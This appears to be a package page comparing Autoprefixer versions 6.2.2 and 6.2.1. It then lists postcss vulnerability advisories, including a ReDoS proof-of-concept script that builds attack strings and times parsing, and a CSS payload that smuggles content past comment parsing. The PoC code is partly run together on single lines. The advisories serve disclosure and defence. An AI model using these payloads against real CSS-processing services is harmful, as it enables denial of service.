Autoprefixer, a vital tool for web developers, automates the addition of vendor prefixes to CSS rules, ensuring cross-browser compatibility based on data from Can I Use. Comparing versions 6.2.2 and 6.2.1 reveals subtle but important distinctions. The most notable difference lies in the caniuse-db dependency. Version 6.2.2 updates this database to ^1.0.30000382, while 6.2.1 uses ^1.0.30000379. This minor version bump in caniuse-db signifies updated browser support data, meaning Autoprefixer 6.2.2 is equipped with the latest information regarding which prefixes are required for which browsers. This ensures developers are using the most up-to-date prefixing rules, improving the consistency of their websites across different platforms.
Both versions share identical core dependencies, including postcss for CSS parsing, browserslist for specifying target browsers, and associated utilities. Similarly, their development dependencies for testing and building remain unchanged, utilizing tools like Gulp, Mocha, and Browserify. The consistent author, license (MIT), and repository information reinforce that these are iterative updates within the same project. Essentially, upgrading from 6.2.1 to 6.2.2 refines Autoprefixer's core functionality by incorporating the freshest browser compatibility data, a small but crucial enhancement for front-end developers aiming for broad and reliable browser support. The newer release date of 6.2.2 (2015-12-26) compared to 6.2.1 (2015-12-21) further emphasizes that 6.2.2 is the preferred choice for projects requiring the most recent browser compatibility.
All the vulnerabilities related to the version 6.2.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.